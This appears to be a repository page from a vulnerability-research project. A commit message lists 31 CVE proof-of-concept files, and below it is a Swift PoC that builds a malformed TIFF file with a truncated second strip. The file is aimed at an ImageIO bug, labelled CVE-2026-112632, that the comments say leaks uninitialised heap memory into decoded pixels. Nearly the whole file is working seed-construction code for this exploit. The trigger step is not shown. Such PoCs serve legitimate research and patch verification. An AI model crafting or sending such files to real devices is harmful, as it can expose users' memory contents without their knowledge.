- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
100 lines
4.4 KiB
Swift
100 lines
4.4 KiB
Swift
// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632
|
|
// TIFF truncated strip → uninitialised heap into pixels
|
|
import Foundation
|
|
|
|
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: TIFFPayload) ──
|
|
enum TIFFPayload {
|
|
struct Entry {
|
|
let tag: UInt16
|
|
let type: UInt16
|
|
let count: UInt32
|
|
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
|
|
}
|
|
|
|
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
|
|
let ifdOffset = 8
|
|
let ifdSize = 2 + entries.count * 12 + 4
|
|
var extraOffset = ifdOffset + ifdSize
|
|
if extraOffset % 2 == 1 { extraOffset += 1 }
|
|
|
|
var extra = Data()
|
|
var blobOffsets: [UInt16: UInt32] = [:]
|
|
for blob in blobs {
|
|
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
|
|
extra.append(contentsOf: blob.bytes)
|
|
}
|
|
|
|
var out = Data()
|
|
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
|
|
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
|
|
out.append(contentsOf: B.le16(UInt16(entries.count)))
|
|
for e in entries.sorted(by: { $0.tag < $1.tag }) {
|
|
out.append(contentsOf: B.le16(e.tag))
|
|
out.append(contentsOf: B.le16(e.type))
|
|
out.append(contentsOf: B.le32(e.count))
|
|
if e.value.count <= 4 {
|
|
var v = e.value
|
|
while v.count < 4 { v.append(0) }
|
|
out.append(contentsOf: v)
|
|
} else {
|
|
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
|
|
}
|
|
}
|
|
out.append(contentsOf: B.le32(0))
|
|
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
|
|
out.append(extra)
|
|
return out
|
|
}
|
|
|
|
static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data {
|
|
let stripBytes = width * height / 2
|
|
let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8)
|
|
var entries: [Entry] = [
|
|
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
|
|
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
|
|
Entry(tag: 258, type: 3, count: 1, value: B.le16(8)),
|
|
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 262, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 273, type: 4, count: 2, value: placeholder),
|
|
Entry(tag: 277, type: 3, count: 1, value: B.le16(1)),
|
|
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))),
|
|
Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))),
|
|
Entry(tag: 284, type: 3, count: 1, value: B.le16(1)),
|
|
]
|
|
// pass 1: identical-size placeholder fixes the file length
|
|
var data = build(entries: entries, blobs: [(273, placeholder)])
|
|
let base = UInt32(data.count)
|
|
// pass 2: real strip offsets — both passes produce the same layout
|
|
let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes))
|
|
entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets)
|
|
data = build(entries: entries, blobs: [(273, stripOffsets)])
|
|
data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes))
|
|
data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip
|
|
return data
|
|
}
|
|
|
|
}
|
|
|
|
|